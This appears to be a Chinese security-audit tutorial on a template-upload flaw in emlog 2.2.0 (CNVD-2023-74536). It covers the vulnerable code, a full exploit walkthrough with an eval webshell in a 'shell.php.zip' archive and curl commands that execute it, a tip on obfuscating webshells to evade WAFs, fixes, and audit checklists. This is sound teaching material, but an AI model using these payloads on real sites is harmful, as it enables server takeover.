1. 项目概述一次针对经典CMS的深度安全审计最近在整理一些老项目的安全资产正好翻到了emlog这个曾经风靡一时的个人博客系统。虽然现在用的人不多了但很多老站还在线上跑着一旦出问题影响面可不小。标题里提到的“CNVD-2023-74536”这个漏洞编号实际上是一个模板文件上传漏洞攻击者可以利用它直接往服务器上写Webshell进而控制整个网站。今天我就带大家从零开始手把手审计一遍emlog 2.2.0版本的这个漏洞。这不仅仅是为了复现一个已知漏洞更重要的是我想通过这个案例分享一套我个人在源代码审计时常用的思路、方法和工具链让你不仅能看懂这个洞更能掌握独立发现类似问题的能力。无论你是刚入门的安全爱好者还是想巩固审计技能的开发者相信这篇近万字的实操记录都能给你带来实实在在的收获。2. 审计环境搭建与核心思路解析2.1 为什么选择本地化审计环境在开始审计之前搭建一个稳定、可控的测试环境至关重要。我强烈不建议直接在生产环境或临时VPS上操作。我的选择是在本地虚拟机如VMware或VirtualBox中部署一个完整的LAMPLinux Apache MySQL PHP环境。这里我选用的是Ubuntu 20.04 LTS系统相对稳定包管理也方便。注意PHP版本需要与目标程序兼容。emlog 2.2.0是一个比较老的系统它可能对高版本的PHP如PHP 7.4或PHP 8.x支持不佳甚至无法运行。经过测试PHP 5.6或PHP 7.0是比较稳妥的选择。你可以使用sudo apt install php5.6 php5.6-mysql这样的命令来安装指定版本并通过sudo update-alternatives --config php来切换系统默认的PHP版本。除了基础环境还需要准备以下几样“武器”emlog 2.2.0 源码这是我们的核心审计对象。务必从官方或可信渠道下载确保源码未被篡改。代码编辑器/IDE推荐使用VS Code、PhpStorm或Sublime Text。它们具备强大的代码搜索、跳转和语法高亮功能能极大提升审计效率。我习惯用PhpStorm它的“Find Usages”查找用法功能在追踪变量传递和函数调用时非常好用。浏览器与开发者工具用于前端的漏洞验证和交互测试。Chrome或Firefox的开发者工具是必备的。抓包代理工具Burp Suite Community版或OWASP ZAP。用于拦截、修改和重放HTTP请求是验证漏洞是否可利用的关键。一句话木马Webshell用于验证文件上传漏洞的危害性。准备一个简单的PHP Webshell如?php eval($_POST[‘cmd’]);?。请注意此文件仅用于本地授权测试严禁在未授权的情况下对任何网站进行测试。搭建好环境后将emlog源码部署到Web目录如/var/www/html/emlog按照安装向导完成数据库配置和站点初始化。确保前台和后台都能正常访问这是后续动态测试的基础。2.2 我的三层审计方法论面对一个像emlog这样中等规模的源码如果没有清晰的思路很容易像无头苍蝇一样乱撞。我总结了一套“三层递进”的审计方法在这次审计中得到了很好的实践。第一层入口点梳理与敏感功能定位。这是最宏观的一层。不要一上来就扎进代码细节。首先通过阅读官方文档、浏览网站前后台搞清楚这个系统有哪些主要功能模块。对于CMS来说常见的敏感功能入口包括用户登录/注册文章/评论的发布与管理文件上传头像、附件、图片插件/模板的安装与管理系统设置与备份数据库操作我们的目标漏洞是“模板上传漏洞”那么自然要将审计焦点集中在与“模板”相关的功能上。在emlog后台通常会有“模板管理”、“安装新模板”之类的菜单。这就是我们的首要关注点。第二层静态代码分析与危险函数追踪。锁定大概范围后进入代码层。这一层主要进行静态分析即在不运行代码的情况下阅读源码。搜索关键词在IDE中全局搜索与“模板”、“上传”相关的文件、函数和变量名。例如搜索包含“template”、“tpl”、“upload”字样的文件。在emlog中我们很快会定位到admin目录下的template.php、upload.php等文件。追踪危险函数这是发现漏洞的核心技巧。我们需要关注那些如果使用不当就会导致安全问题的PHP函数。对于文件上传漏洞最相关的危险函数包括move_uploaded_file(): 移动上传的文件到新位置。copy(): 拷贝文件。file_put_contents(): 将字符串写入文件。fopen()/fwrite(): 文件写入操作。在IDE中全局搜索这些函数名然后逐一审查其调用上下文。重点关注文件的来源是否用户可控如$_FILES、$_GET、$_POST目标路径是否用户可控在写入前是否对文件内容、后缀、MIME类型进行了充分且安全的校验第三层动态交互测试与漏洞验证。静态分析发现可疑点后必须通过动态测试来验证。这就是我们搭建本地环境的目的。构造请求使用浏览器正常访问模板上传功能同时用Burp Suite拦截HTTP请求。观察请求的参数、格式是否是multipart/form-data。修改与重放在Burp Suite的Repeater模块中尝试修改拦截到的请求。例如尝试上传一个非模板文件如.txt或者修改文件后缀、文件内容插入Webshell代码。结果分析观察服务器的响应。是直接上传成功还是返回了错误信息错误信息是否暴露了路径等敏感数据上传后的文件能否通过Web直接访问并执行通过这三层的循环与递进我们就能像侦探一样从功能到代码从静态到动态逐步逼近并最终确认漏洞的存在与利用方式。3. 漏洞原理深度剖析与代码层拆解3.1 模板上传功能正常逻辑梳理要理解漏洞必须先知道正常的流程应该是什么样的。在emlog 2.2.0中模板通常以.zip压缩包的形式提供。后台“安装模板”的功能其理想的安全逻辑应该包含以下步骤前端校验通过JavaScript初步检查用户选择的文件是否为.zip格式但这很容易被绕过仅用于用户体验。服务器端接收PHP通过$_FILES全局数组接收上传的文件。安全性校验关键环节后缀名检查检查文件后缀名是否为.zip。文件类型检查检查$_FILES[‘file’][‘type’]MIME类型但这同样不可靠因为可以被伪造。文件内容检查更安全的方式是检查压缩包内的文件结构确认其确实是一个符合规范的emlog模板包例如包含header.php、footer.php、log_list.php等特定文件。临时存储与解压将.zip文件移动到一个临时目录然后使用ZipArchive或shell_exec(‘unzip …’)命令进行解压。目标路径确定将解压后的模板文件夹移动到正式的模板目录下例如/content/templates/。清理与反馈删除临时.zip文件在后台界面提示用户安装成功。在这个过程中任何一个环节的校验缺失或逻辑缺陷都可能导致安全问题。3.2 CNVD-2023-74536漏洞代码层分析现在让我们直接切入漏洞核心。通过静态分析定位到admin/template.php文件。我们找到处理模板上传的代码段。为了便于理解我将关键代码进行简化还原和注释// admin/template.php 中的部分代码 if ($action ‘upload’) { // 判断动作为‘上传’ $zipfile $_FILES[‘tplzip’][‘tmp_name’]; // 获取上传的临时文件路径 $filename $_FILES[‘tplzip’][‘name’]; // 获取上传的文件原始名 // 漏洞点1后缀名检查过于简单且可绕过 if (strtolower(substr(strrchr($filename, ‘.’), 1)) ! ‘zip’) { emMsg(‘请上传zip格式的模板文件’); } // 假设这里通过了检查... $tpl_dir substr($filename, 0, strrpos($filename, ‘.’)); // 根据文件名推断模板目录名 // 漏洞点2未对$tpl_dir进行安全过滤且解压路径拼接直接可控 $unzip_dir EMLOG_ROOT . ‘/content/templates/’ . $tpl_dir . ‘/’; // 拼接最终解压路径 // 使用系统命令解压这是另一个潜在风险点如果文件名未过滤可能导致命令注入 exec(“unzip -oq {$zipfile} -d {$unzip_dir}”); // 检查解压后是否存在必要的模板文件如logo.gif注意这里检查的是gif不是php if (!file_exists($unzip_dir . ‘logo.gif’)) { // 如果不存在则删除刚解压的目录 rmDir($unzip_dir); emMsg(‘模板文件不符合标准’); } // 如果存在logo.gif则认为模板合法安装成功 }漏洞原理逐行拆解脆弱的后缀名检查第6-8行代码仅检查文件名中最后一个点号之后的后缀是否为zip。这意味着攻击者可以上传一个名为shell.php.zip的文件。这个文件的后缀是.zip能通过检查。但在后续的$tpl_dir substr($filename, 0, strrpos($filename, ‘.’));处理中strrpos找到的是最后一个点号的位置所以$tpl_dir会被赋值为shell.php。这里埋下了一个致命的伏笔解压目录名将包含.php后缀。可控的解压路径第12行解压目标路径$unzip_dir是由基础模板目录/content/templates/和上面得到的$tpl_dir拼接而成。由于$tpl_dir来自未经安全处理的文件名shell.php导致最终的解压路径变成了/content/templates/shell.php/。注意这是一个目录路径末尾有斜杠。致命的解压行为第15行系统使用exec(“unzip …”)命令将上传的ZIP包解压到/content/templates/shell.php/这个目录下。检查机制的绕过第18行代码检查解压后的目录中是否存在logo.gif文件。攻击者只需要在构造的恶意ZIP包中包含一个logo.gif文件可以是任意有效的GIF图片即可通过此检查。那么漏洞如何被利用攻击者可以精心构造一个ZIP压缩包压缩包内包含一个Webshell文件例如index.php内容为?php phpinfo();?。同时在压缩包根目录下放置一个合法的logo.gif图片文件。将这个压缩包重命名为shell.php.zip。上传此文件后通过后缀检查因为是.zip。$tpl_dir被设置为shell.php。系统尝试将ZIP包解压到/content/templates/shell.php/目录。由于该目录名以.php结尾在某些特定的服务器配置下例如开启了AddType或AddHandler将.php目录也解析为PHP访问http://目标站点/content/templates/shell.php/这个URL时服务器可能会将整个目录当作一个PHP文件来解析执行更常见且稳定的利用方式是由于解压成功我们的Webshell文件index.php实际存在于/content/templates/shell.php/index.php。那么直接访问http://目标站点/content/templates/shell.php/index.php我们的Webshell就被成功执行了。这个漏洞的精妙之处在于它绕过了常规的文件内容检查因为检查的是logo.gif并且利用了解压路径目录名可控这一特点将Webshell部署到了可访问的Web目录下。4. 漏洞复现与利用全流程实操理论分析得再透彻不如亲手实践一遍。下面我将在本地搭建的emlog 2.2.0环境中完整复现这个漏洞的利用过程。4.1 第一步构造恶意模板压缩包首先在本地任意位置创建一个临时文件夹比如叫exploit_tpl。在该文件夹内创建一个文本文件命名为index.php内容为我们的一句话木马?php eval($_POST[‘cmd’]);?实操心得在实际渗透测试中为了规避一些简单的WAF或静态查杀可以对Webshell进行简单的编码或变形例如使用assert、create_function等函数或者将代码进行Base64编码后再解码执行。但本地测试用最经典的eval即可。在该文件夹内还需要放置一个logo.gif文件。你可以从网上随便下载一个小尺寸的GIF图片或者自己用画图工具创建一个单像素的GIF文件头为GIF89a。这是为了通过源码中的file_exists($unzip_dir . ‘logo.gif’)检查。现在选中index.php和logo.gif这两个文件右键将它们压缩成一个ZIP包。关键步骤来了将这个压缩包的文件名重命名为shell.php.zip。请注意是压缩包本身的名字叫shell.php.zip而不是压缩包里的文件。至此我们的“特制模板”就准备好了。它的结构是一个名为shell.php.zip的压缩包解压后包含index.phpWebshell和logo.gif诱饵文件。4.2 第二步模拟攻击者上传流程登录emlog后台默认通常是http://your-local-site/admin/。找到“模板”或“主题”管理相关的菜单。在emlog 2.2.0中路径可能是“后台 模板”。找到“安装新模板”或“上传模板”的按钮。点击后会看到一个文件选择框。此时打开Burp Suite配置好浏览器代理确保能拦截到HTTP请求。在文件选择框中选择我们刚刚制作好的shell.php.zip文件然后点击“上传”或“安装”。Burp Suite的Proxy模块会拦截到这个POST请求。大致格式如下POST /admin/template.php?actionupload HTTP/1.1 Host: your-local-site Content-Type: multipart/form-data; boundary----WebKitFormBoundaryxxxxx ------WebKitFormBoundaryxxxxx Content-Disposition: form-data; name“tplzip”; filename“shell.php.zip” Content-Type: application/zip [ZIP文件的二进制数据] ------WebKitFormBoundaryxxxxx ...我们可以将拦截到的请求发送到Burp Suite的Repeater模块方便多次测试和修改。但在这个漏洞中我们无需修改请求因为我们的恶意文件名已经符合漏洞触发条件。直接放行请求或点击“Forward”。4.3 第三步验证漏洞利用是否成功上传完成后观察后台页面。如果漏洞存在且我们的文件符合“规则”页面通常会提示“模板安装成功”或类似信息。现在我们来验证Webshell是否真的被上传并可以访问。根据我们之前的代码分析文件应该被解压到了/content/templates/shell.php/目录下。在浏览器中访问http://your-local-site/content/templates/shell.php/index.php如果页面空白或没有报错如404可能意味着文件存在但无输出。我们可以用POST方式传递命令。使用curl命令或HackBar等浏览器插件来执行命令。例如用curlcurl -X POST http://your-local-site/content/templates/shell.php/index.php -d “cmdphpinfo();”如果页面返回了PHP的配置信息则证明漏洞利用成功Webshell已获得执行权限。进一步可以尝试执行系统命令。由于eval执行的是PHP代码我们需要使用PHP的系统命令执行函数如system()或shell_exec()。构造POST数据为cmdecho shell_exec(‘whoami’);查看当前Web服务的运行用户。注意事项在实际的授权测试中获取Webshell权限后应立即向项目方报告并立即删除测试文件切勿进行任何破坏性操作。在本地环境中测试完毕后也请务必清理测试文件养成良好的安全习惯。5. 漏洞修复方案与安全编程启示5.1 针对此漏洞的修复建议对于一个已经公开的漏洞修复思路是清晰的。我们可以直接定位到有问题的代码文件admin/template.php进行如下修改强化后缀名检查不仅检查最后一个点号还应检查整个文件名中是否只允许出现一个特定的后缀并且该后缀必须严格匹配。更好的做法是使用白名单机制。// 修复后的后缀检查示例 $allowed_ext array(‘zip’); $file_ext pathinfo($filename, PATHINFO_EXTENSION); // 使用pathinfo函数更可靠 if (!in_array(strtolower($file_ext), $allowed_ext)) { emMsg(‘只允许上传ZIP格式的模板文件’); }严格过滤解压目录名从文件名提取目录名时必须过滤掉所有非字母数字和合法字符如下划线、减号防止目录名中包含.、/、\等可能导致路径穿越或特殊解析的字符。// 修复后的目录名提取与过滤 $tpl_dir preg_replace(‘/[^a-zA-Z0-9_-]/’, ‘’, $tpl_dir_base); // 只保留字母、数字、下划线、减号 if (empty($tpl_dir)) { emMsg(‘模板名称不合法’); } // 还可以进一步检查目录名是否以已知安全的后缀结尾可选但建议避免 // if (preg_match(‘/\.(php|php5|phtml|inc)$/i’, $tpl_dir)) { emMsg(‘目录名非法’); }避免使用危险的系统命令如果可能尽量使用PHP自带的ZipArchive类来解压文件它更安全且不依赖于系统环境。$zip new ZipArchive; if ($zip-open($zipfile) TRUE) { $zip-extractTo($unzip_dir); // $unzip_dir 应该是经过安全校验的固定或随机目录 $zip-close(); } else { emMsg(‘解压模板文件失败’); }解压到临时随机目录并校验内容后再移动更安全的流程是先将ZIP包解压到一个临时、随机的目录名如/tmp/emlog_tpl_XXXXXX/下。然后在这个临时目录里校验压缩包内的文件结构是否完全符合模板规范检查必须的文件并扫描是否有可疑的PHP等可执行文件。只有校验完全通过后才将整个文件夹移动到正式的模板目录。校验失败则直接删除整个临时目录。5.2 从漏洞中提炼的安全编程准则这个漏洞虽然发生在特定的老版本CMS中但它反映出的安全问题却具有普遍性。在开发任何涉及文件上传、解压、路径处理的功能时请务必牢记以下准则原则一一切用户输入皆不可信。$_GET、$_POST、$_FILES、$_COOKIE、$_REQUEST甚至是$_SERVER中的部分变量如HTTP_REFERER都可能被伪造。必须对它们进行严格的过滤、验证和转义。原则二使用白名单而非黑名单。对于文件后缀、MIME类型、允许的字符集定义明确的、最小化的白名单。只接受白名单内的内容拒绝其他一切。黑名单永远会有遗漏。原则三最小权限原则。确保Web服务器进程如www-data用户对网站目录只有必要的读写权限。例如上传目录最好独立出来并配置为不可执行脚本通过Apache的.htaccess或Nginx的location规则禁止该目录解析PHP。原则四避免将用户可控数据直接拼接进系统命令、SQL语句、文件路径、HTML输出中。这是导致命令注入、SQL注入、路径穿越、XSS等漏洞的根本原因。务必使用参数化查询PDO、转义函数escapeshellarg、安全的路径处理函数realpath等。原则五深度防御。不要只依赖一层校验。前端做JS校验提升体验后端做严格的逻辑和安全性校验。文件上传后还可以进行病毒扫描、内容二次检查等。6. 审计延伸如何系统性发现同类漏洞复现一个已知漏洞是学习的第一步。更高级的能力是如何在一个陌生的系统中独立发现未知的此类漏洞。结合本次审计经验我分享一下我的系统性方法。6.1 自动化工具辅助与人工审计结合完全依赖人工阅读所有代码效率低下。我会使用一些自动化工具进行初步筛选静态代码分析工具SAST如RIPS、PHPStan侧重代码质量但也能发现安全问题、SonarQube等。这些工具可以快速扫描整个项目标记出使用危险函数如eval,system,move_uploaded_file的代码位置以及可能存在SQL注入、XSS的点。但工具的报告会有大量误报和漏报绝不能替代人工分析。工具的作用是提供“线索”。文本搜索与正则表达式在IDE中使用强大的搜索功能。我常用的搜索模式包括\$_FILES\[.*\] 查找所有文件上传处理点。move_uploaded_file|copy\(|file_put_contents|fwrite\( 查找文件写入操作。exec\(|system\(|passthru\(|shell_exec\(|popen\(|proc_open\( 查找命令执行函数。include\(|require\(|include_once\(|require_once\(.*\$_ 查找可能存在本地文件包含LFI或远程文件包含RFI的动态包含。unzip.*\$|tar.*\$| 查找解压命令注意变量拼接。6.2 建立“攻击者思维”与数据流追踪拿到工具提供的线索后就需要代入攻击者视角进行人工深度审计。核心方法是“数据流追踪”定位输入源Source找到一个用户可控的输入点比如一个表单参数$_POST[‘filename’]、一个上传的文件$_FILES[‘avatar’][‘name’]、一个URL参数$_GET[‘id’]。追踪数据流向Flow在代码中一步步追踪这个输入值去了哪里。它是否被赋值给了一个变量这个变量是否经过了函数处理如trim(),addslashes()处理是否充分和安全到达危险函数Sink最终这个被处理过的数据是否传递到了一个“危险函数”的参数中例如是否成为了move_uploaded_file()的目标路径的一部分是否拼接进了exec()的命令字符串里以本次emlog漏洞为例我们的追踪路径是Source:$_FILES[‘tplzip’][‘name’]用户上传的文件名Flow: 赋值给$filename- 经过简单的后缀检查未过滤- 用于生成$tpl_dir- 拼接进$unzip_dirSink:$unzip_dir被直接拼接进exec(“unzip … -d {$unzip_dir}”)的命令中。同时$unzip_dir本身作为一个目录路径也导致了Webshell的部署。在整个追踪过程中要特别关注那些“看似安全”的过滤函数。例如htmlspecialchars()可以防御XSS但对文件路径穿越无效addslashes()在特定字符集下可能绕过来防御SQL注入。必须理解每个函数的确切作用。6.3 针对文件上传功能的专项检查清单当你审计一个文件上传功能时可以拿着下面这个清单逐项核对[ ]前端校验是否仅在前端JavaScript做了校验可轻易绕过。[ ]后缀名校验是否使用白名单黑名单有哪些是否区分大小写PHPvsphp是否允许多重后缀shell.php.jpg解析顺序如何[ ]MIME类型校验是否检查Content-Type是否从文件内容检测真实类型如finfo_file()[ ]文件内容校验是否检查文件头Magic Bytes对于图片是否用GD库或ImageMagick进行二次渲染/重采样对于ZIP等压缩包是否在解压后检查内部文件[ ]文件名处理是否重命名如使用md5(时间戳)是否保留原文件名原文件名中的目录分隔符../是否被过滤[ ]存储路径路径是否用户可控是否允许路径穿越最终存储目录是否在Web可访问范围内该目录是否配置了禁止脚本执行[ ]权限覆盖如果存在同名文件是覆盖、重命名还是拒绝覆盖是否可能导致权限提升[ ]解压/处理逻辑如果涉及解压解压目录是否可控解压后是否检查压缩包内文件的路径防止Zip Slip路径穿越漏洞通过这样系统性的方法你就能从一个简单的“复现者”成长为主动的“发现者”。审计代码就像解谜掌握了正确的方法和思路就能在复杂的逻辑中找到那些隐藏的安全破绽。这次对emlog 2.2.0的审计就是一个很好的起点希望这套方法论能对你未来的安全学习之路有所帮助。